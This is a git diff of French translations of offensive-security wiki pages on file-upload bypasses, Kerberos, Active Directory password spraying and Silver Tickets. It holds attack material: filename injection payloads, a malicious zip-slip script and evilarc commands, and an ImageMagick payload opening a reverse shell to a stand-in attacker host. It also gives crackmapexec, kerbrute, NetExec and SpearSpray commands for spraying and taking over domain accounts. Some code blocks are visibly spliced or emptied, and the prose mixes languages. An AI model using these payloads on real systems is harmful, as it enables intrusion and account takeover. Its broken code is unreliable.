PDF), élargissant ainsi encore le champ d'exploitation potentiel. +Il est crucial de comprendre le caractère laxiste de l'analyse des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des possibilités d'exploitation. ## **wget File Upload/SSRF Trick** -Parfois, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l’**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\ - -La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant **wget** tronque les noms de fichier à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**. +Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist pour s'assurer que seuls des fichiers autorisés seront téléchargés. Cependant, **this check can be bypassed.**\ +La longueur maximale d'un filename sous linux est de 255, cependant, `wget` tronque les filenames à 236 caractères. Vous pouvez télécharger un fichier appelé "A"\*232+".php"+".gif", ce nom de fichier bypassera la vérification (comme dans cet exemple ".gif" est une extension valide) mais `wget` renommera le fichier en "A"\*232+".php". ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -157,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. +Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un fichier différent**, ainsi l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **sauf si** wget est utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**. ## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web. ### Corrupting upload indices with snprintf quirks (historical) -Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. +Certains handlers d'upload legacy qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload single-file peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., la traiter comme un upload multi-fichiers et prendre des branches non sûres). Bien que niche aujourd'hui, ce pattern de «corruption d'indices» réapparaît occasionnellement dans des CTFs et des bases de code plus anciennes. ## From File upload to other vulnerabilities -- Définir **filename** sur `../../../tmp/lol.png` et essayer d'obtenir un **path traversal** -- Définir **filename** sur `sleep(10)-- -.jpg` et vous pourrez peut‑être obtenir une **SQL injection** -- Définir **filename** sur `` pour obtenir un **XSS** -- Définir **filename** sur `; sleep 10;` pour tester une **command injection** (more [command injections tricks here](../command-injection.md)) +- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'obtenir un **path traversal** +- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourrez peut-être obtenir une **SQL injection** +- Définissez **filename** sur `` pour obtenir une **XSS** +- Définissez **filename** sur `; sleep 10;` pour tester de l'command injection (plus de [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Essayez **différents payloads svg** depuis [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- Si vous pouvez **indiquer au web server de récupérer une image depuis une URL** vous pouvez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez aussi indiquer une URL depuis [https://iplogger.org/invisible/] et **voler les informations de chaque visiteur**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Check if there is any **size limit** uploading files +- PDFs spécialement conçus pour du XSS : la [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez uploader des PDFs, vous pouvez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données. +- Téléversez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur dispose d'un **antivirus** +- Vérifiez s'il y a une **limite de taille** lors de l'upload de fichiers -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Voici un top 10 des choses que vous pouvez accomplir en téléversant (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -214,28 +213,28 @@ Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wiki ## Zip/Tar File Automatically decompressed Upload -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +Si vous pouvez uploader un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses : ### Symlink -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: +Téléversez une archive contenant des soft links vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous atteindrez les fichiers liés : ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Décompresser dans des dossiers différents +### Décompress dans différents dossiers -La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait empêcher l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de compression hiérarchique et les capacités de traversal de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de s'échapper des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée. +La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait protéger contre l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de la compression hiérarchique et les possibilités de traversal de répertoire du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de sortir des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée. -Un exploit automatisé pour créer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit : +Un exploit automatisé permettant de créer de tels fichiers est disponible sur [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit : ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontrera pas d'erreurs lors de son exécution. +De plus, l'**symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution. Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant : ```python @@ -255,11 +254,11 @@ zip.close() create_zip() ``` -**Abuser de la compression pour file spraying** +**Abusing compression for file spraying** -Pour plus de détails **consultez l'article original** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Pour plus de détails **consultez l'article original sur** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Création d'un PHP Shell**: Le code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`. +1. **Creating a PHP Shell**: Du code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`. ```php & /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Intégration d'une PHP shell dans un PNG +## Insertion d'un PHP Shell dans un fichier PNG -L'insertion d'une PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes ici, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. Le fait que la PHP shell intégrée reste intacte après ces opérations est un avantage important dans certains cas d'utilisation. +L'insertion d'un PHP shell dans le chunk IDAT d'un fichier PNG peut efficacement contourner certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. Le fait que le PHP shell incorporé reste inchangé par ces opérations est un avantage important pour certains cas d'utilisation. -Un examen détaillé de cette technique, incluant sa méthodologie et ses applications potentielles, est présenté dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du procédé et de ses implications. +Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications. -Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Fichiers polyglottes +## Polyglot Files -Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant valablement exister dans plusieurs formats de fichier simultanément. Un exemple intéressant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à ce couplage ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles. +Les polyglot files servent d'outil unique en cybersécurité, agissant comme des caméléons qui peuvent exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. De tels fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont aussi réalisables. -L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mécanismes de sécurité qui filtrent les fichiers en fonction de leur type. Il est courant dans de nombreuses applications d'autoriser uniquement certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (p. ex. JS, PHP ou Phar). Toutefois, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions. +L'utilité principale des polyglot files réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers en fonction du type. La pratique courante dans diverses applications consiste à n'autoriser que certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou Phar). Cependant, un polyglot, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions. -Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse représenter simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre de la politique d'extensions de la plateforme. Si le système est strict quant aux extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload. +Malgré leur adaptabilité, les polyglots rencontrent des limitations. Par exemple, alors qu'un polyglot peut simultanément représenter un fichier PHAR (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d'extensions du système. Si la plateforme est stricte sur les extensions autorisées, la simple dualité structurelle d'un polyglot peut ne pas suffire pour garantir son upload. -Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Uploader des JSON valides comme si c'était un PDF +### Upload valid JSONs like if it was PDF -Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un fichier PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) : +Comment éviter les détections de type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé en le faisant passer pour un PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) : -- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article) -- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la bibliothèque considère que c'est un pdf (voir exemple dans l'article) -- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu comme du JSON, puis placer à l'intérieur du JSON la première partie d'un vrai PDF et il pensera que c'est un PDF +- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir exemple dans le post) +- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la library pense que c'est un pdf (voir exemple dans le post) +- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que ça pour qu'il ne puisse pas parser le contenu comme du json et ensuite, à l'intérieur du JSON, placer la partie initiale d'un vrai PDF et il le considérera comme un PDF ## Références diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index bafe834a6..f1e40798f 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,7 +1,7 @@ -# Authentification Kerberos +# Kerberos Authentification {{#include ../../banners/hacktricks-training.md}} -**Consultez cet excellent article :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Consultez l'excellent article :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 5fed12ea2..7cfe82e28 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Une fois que vous avez trouvé plusieurs **noms d'utilisateur valides** vous pouvez essayer les **mots de passe les plus courants** (gardez à l'esprit la politique de mot de passe de l'environnement) avec chacun des utilisateurs découverts.\ -Par **défaut** la **longueur minimale** du **mot de passe** est **7**. +Une fois que vous avez trouvé plusieurs **valid usernames** vous pouvez essayer les **common passwords** (gardez à l'esprit la password policy de l'environnement) avec chacun des users découverts.\ +Par **default** la **minimum** **password** **length** est **7**. -Des listes de noms d'utilisateur courants peuvent aussi être utiles : [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Des listes de common usernames peuvent aussi être utiles : [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Remarquez que vous **pourriez verrouiller certains comptes si vous essayez plusieurs mots de passe incorrects** (par défaut plus de 10). +Notez que vous **could lockout some accounts if you try several wrong passwords** (by default more than 10). -### Obtenir la politique de mot de passe +### Obtenir la password policy -Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine vous pouvez **obtenir la politique de mot de passe avec**: +Si vous avez des user credentials ou un shell en tant que domain user, vous pouvez **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,27 +31,27 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation depuis Linux (ou depuis n'importe quel OS) +### Exploitation depuis Linux (ou toute autre plateforme) -- En utilisant **crackmapexec:** +- Utilisation de **crackmapexec :** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Utilisation de [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Utiliser [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages de comptes):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les lockouts):**_ ```bash spray.sh -smb ``` -- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - PAS RECOMMANDÉ — PARFOIS NE FONCTIONNE PAS +- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RECOMMANDÉ, PARFOIS NE FONCTIONNE PAS ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -69,7 +69,7 @@ done ``` #### Depuis Windows -- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) (version avec le module 'brute'): +- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) version avec le module brute: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Avec [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il peut, par défaut, générer des utilisateurs depuis le domaine et récupérer la politique de mot de passe du domaine pour limiter les tentatives en conséquence) : +- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Par défaut, il peut générer les utilisateurs du domaine, récupérer la politique de mot de passe depuis le domaine et limiter les tentatives en conséquence): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -87,10 +87,10 @@ Invoke-SprayEmptyPassword ``` ### Identifier et prendre le contrôle des comptes "Password must change at next logon" (SAMR) -Une technique discrète consiste à essayer un mot de passe bénin/vide et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le mot de passe a été expiré de force et peut être changé sans connaître l'ancien. +Une technique peu bruyante consiste à tester un mot de passe bénin/vide et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le mot de passe a été expiré de force et peut être changé sans connaître l'ancien. -Flux de travail : -- Énumérer les utilisateurs (RID brute via SAMR) pour constituer la liste cible : +Workflow: +- Énumérer les utilisateurs (force brute des RID via SAMR) pour constituer la liste des cibles : {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Flux de travail : # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray un password vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon: +- Spray un mot de passe vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Pour chaque hit, changez le password via SAMR avec NetExec’s module (aucun ancien password nécessaire lorsque "must change" est défini) : +- Pour chaque hit, changez le mot de passe via SAMR avec le module de NetExec (aucun ancien mot de passe requis lorsque "must change" est activé) : ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -113,9 +113,9 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" # Validate and retrieve domain password policy with the new creds netexec smb -u -p "$NEWPASS" --pass-pol ``` -Notes opérationnelles: +Notes opérationnelles : - Assurez-vous que l'horloge de votre hôte est synchronisée avec le DC avant les opérations basées sur Kerberos : `sudo ntpdate `. -- Un [+] sans (Pwn3d!) dans certains modules (par ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits de connexion interactive. +- Un [+] sans (Pwn3d!) dans certains modules (par ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits d'ouverture de session interactifs. ## Brute Force ```bash @@ -123,14 +123,14 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux avec les politiques de verrouillage d'AD. SpearSpray couple LDAP-driven targeting, un moteur de patterns, et une prise en compte des policies (domain policy + PSOs + tampon badPwdCount) pour effectuer du spraying de manière précise et sûre. Il peut aussi tagger les principals compromis dans Neo4j pour le pathing BloodHound. +Le Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray combine LDAP-driven targeting, un pattern engine et une connaissance des politiques (politique de domaine + PSOs + buffer badPwdCount) pour effectuer le spray de manière précise et sûre. Il peut aussi taguer les principaux compromis dans Neo4j pour le pathing BloodHound. Key ideas: -- Découverte d'utilisateurs LDAP avec pagination et support LDAPS, optionnellement en utilisant des filtres LDAP personnalisés. -- Politique de verrouillage de domaine + filtrage aware des PSO pour laisser une marge d'essais configurable (threshold) et éviter de verrouiller les utilisateurs. +- Découverte d'utilisateurs LDAP avec pagination et prise en charge de LDAPS, optionnellement en utilisant des filtres LDAP personnalisés. +- Filtrage prenant en compte la politique de verrouillage du domaine et les PSOs afin de laisser un tampon de tentatives configurable (seuil) et d'éviter de verrouiller les utilisateurs. - Validation Kerberos pre-auth utilisant des bindings gssapi rapides (génère 4768/4771 sur les DCs au lieu de 4625). -- Génération de mots de passe par pattern, par utilisateur, en utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur. -- Contrôle du débit avec threads, jitter, et max requests per second. +- Génération de mots de passe basée sur des patterns, par utilisateur, utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur. +- Contrôle du débit avec threads, jitter et nombre maximal de requêtes par seconde. - Intégration Neo4j optionnelle pour marquer les utilisateurs compromis pour BloodHound. Basic usage and discovery: @@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Ciblage et contrôle des schémas: +Ciblage et contrôle des motifs: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -165,7 +165,7 @@ Neo4j/BloodHound enrichissement: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` -Aperçu du système de patterns (patterns.txt): +Vue d'ensemble du système de patterns (patterns.txt): ```text # Example templates consuming per-user attributes and temporal context {name}{separator}{year}{suffix} @@ -180,11 +180,11 @@ Available variables include: - Composition helpers and org token: {separator}, {suffix}, {extra} Operational notes: -- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. -- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. -- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. +- Privilégiez l'interrogation du PDC-emulator avec -dc pour lire le badPwdCount le plus autoritatif et les informations liées aux policies. +- Les resets de badPwdCount sont déclenchés au prochain essai après la fenêtre d'observation ; utilisez un seuil et un timing pour rester prudent. +- Les tentatives de pré-auth Kerberos apparaissent comme 4768/4771 dans la télémétrie DC ; utilisez du jitter et de la limitation de débit pour vous fondre. -> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire. ## Outlook Web Access @@ -196,7 +196,7 @@ Il existe plusieurs outils pour p**assword spraying outlook**. - Avec [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Avec [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe pour le password spraying. +Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un password / d'une petite liste de passwords à spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 598ef087b..eade46667 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,21 +6,21 @@ ## Silver ticket -L'attaque **Silver Ticket** implique l'exploitation des service tickets dans les environnements Active Directory (AD). Cette méthode repose sur l'**obtention du NTLM hash d'un service account**, comme un compte d'ordinateur, pour forger un Ticket Granting Service (TGS) ticket. Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, **usurpant l'identité de n'importe quel utilisateur**, visant généralement des privilèges administratifs. Il est souligné que l'utilisation de AES keys pour forger des tickets est plus sûre et moins détectable. +The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquérir le hash NTLM d'un compte de service**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **usurpant l'identité de n'importe quel utilisateur**, typically aiming for administrative privileges. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sûre et moins détectable. > [!WARNING] -> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. -> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. +> Les Silver Tickets sont moins détectables que les Golden 